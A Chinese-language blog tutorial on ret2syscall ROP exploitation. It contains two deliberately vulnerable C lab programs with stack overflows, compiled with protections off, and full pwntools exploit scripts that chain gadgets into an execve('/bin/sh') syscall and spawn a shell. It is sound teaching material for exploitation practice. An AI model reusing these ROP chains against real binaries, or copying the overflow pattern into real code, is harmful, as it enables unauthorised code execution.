1109 字
6 分钟
Stack-2-2-3 BasicROP-ret2syscall

%%本节前置:Stack-1, Stack-2-1, Stack-2-2-2%%

本节介绍ret2syscall的相关内容。在Stack-2-2-2中,我们学习了基本的ret2shellcode攻击手法。在此之前我们还学习了ret2text的攻击手法。到目前为止,我们学习的攻击手法都针对system("/bin/sh\x00")进行利用。回忆一下这两种攻击手法。ret2text在程序中直接存在system("/bin/sh\x00"),直接覆盖返回地址,而在ret2shellcode中,是执行我们shellcode,相当于我们自己写入程序的system("/bin/sh\x00")。而本节介绍的ret2syscall可以正式看作是原教旨主义ret2shellcode,贯彻了覆写+劫持的基本思想

技术梗概#

ret2syscall,即return to system call,指控制程序执行系统调用。 在上一节中我们简单介绍了系统调用的相关概念。简单来说,当你把某些寄存器设置为特殊的值,并通过syscall指令触发,就可以执行一个特定的函数。ret2syscall实现的系统调用和ret2shellcode是相同的,区别是我们需要用程序中存在的gadgets构造系统调用。可以理解为ret2text的shellcode实现版。

ret2syscall的利用中,一般要求能控制四个特定寄存器的值,即

  • rax,用于给出系统调用号
  • rdirsirdx,用于传递exec()的三个参数。

比如有gadget如下

pop rax;pop rdi;pop rsi;pop rdx;ret

那么这段magic gadget就可以帮助我们直接完成ret2syscall的利用。

一般来说,一个静态链接的程序也许会存在足够的合适的gadget供我们完成利用。但大多数情况下我们凑不起这么多gadgets。所以ret2syscall的利用局限性较大,但是它能够绕过NX保护,即不直接在栈上执行代码。

技术详解#

我们由两个实验来详细理解ret2syscall的利用手法和思想。

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char binsh[8] = "/bin/sh\x00"; void gift() { asm("pop %rax; pop %rdi; pop %rsi; pop %rdx; ret"); } void vuln() {    char buf[0x10];    read(0, buf, 0x100); } int main() { asm("syscall;");    vuln(); return 0; }

我们采用内联汇编的形式插入gadgets,以下面的命令编译。

gcc -fno-stack-protector -no-pie -z execstack -O0 Lab-s-2-3-1.c -o lab

依旧是很简单的程序逻辑。溢出点在vuln()函数中,贯彻覆写+劫持的基本思想,我们布置以下的栈结构。

  • 程序的返回地址写到gadgets,执行
  • pop rax弹出栈上的0x3b
  • pop rdi弹出栈上的binsh指针
  • pop rsipop rdx弹出栈上的0
  • ret返回到syscall执行

于是我们有下面的payload

payload = cyclic(padding) + p64(gadget_addr) + p64(0x3b) + p64(binsh_addr) + p64(0) * 2 + p64(syscall_addr)

使用ROPgadget查看gadget地址

ROPgadget --binary lab --only "pop|ret"

完整EXP如下

from pwn import * io = process("./lab") padding = 0x18 gadget_addr = 0x40112a syscall_addr = 0x401157 binsh_addr = 0x404018 payload = cyclic(padding) + p64(gadget_addr) + p64(0x3b) + p64(binsh_addr) + p64(0) * 2 + p64(syscall_addr) io.sendline(payload) io.interactive()

RESULT

python exp-1.py [+] Starting local process './lab': pid 31887 [*] Switching to interactive mode $ whoami K4per

这是第一个实验,我们来看第二个,只做略微修改。

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char binsh[8] = "/bin/sh\x00"; void gift() {    asm("pop %rax; ret;");    asm("pop %rdi; ret;");    asm("pop %rsi; ret;");    asm("pop %rdx; ret;"); } void vuln() {    char buf[0x10];    read(0, buf, 0x100); } int main() {    asm("syscall;");    vuln();    return 0; }

同样编译。

这次我们的gadgets是分开的,所以我们就需要多次控制返回地址。我们布置如下的栈。

ROP链如下

  • 覆盖原来返回地址为pop rax;ret;
  • 执行pop rax弹出0x3b,返回到pop rdi
  • 执行pop rdi弹出binsh,返回到pop rsi
  • 执行pop rsi弹出0,返回到pop rdx弹出0
  • 返回到syscall,执行系统调用。

那么我们可以给出payload

payload = cyclic(padding) + p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(binsh_addr) payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) payload += p64(syscall_addr)

完整EXP如下

from pwn import * io = process("./lab") padding = 0x18 pop_rax = 0x40113a pop_rdi = 0x40115a pop_rsi = 0x40117a pop_rdx = 0x40119a syscall_addr = 0x4011e2 binsh_addr = 0x404020 payload = cyclic(padding) + p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(binsh_addr) payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) payload += p64(syscall_addr) io.sendline(payload) io.interactive()

RESULT

[+] Starting local process './lab': pid 40015 [*] Switching to interactive mode $ whoami K4per

总结#

本节给出了两个实验,学习ret2syscall的利用手法。实际上,通过多次ret控制寄存器的值来控制程序执行流的手法正是ROP的精髓所在。我们用ROP的形式完成了shellcode的工作。是为原教旨主义版的ret2shellcode

留下一道题作为作业。

CTFPLUS Geek Challenge 2024 买黑吗喽了吗

syscall

本题涉及到一些整数溢出的知识,请自行搜索资料查阅

Stack-2-2-3 BasicROP-ret2syscall
https://k4per-blog.xyz/posts/stack-2-2-3-basicrop-ret2syscall/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0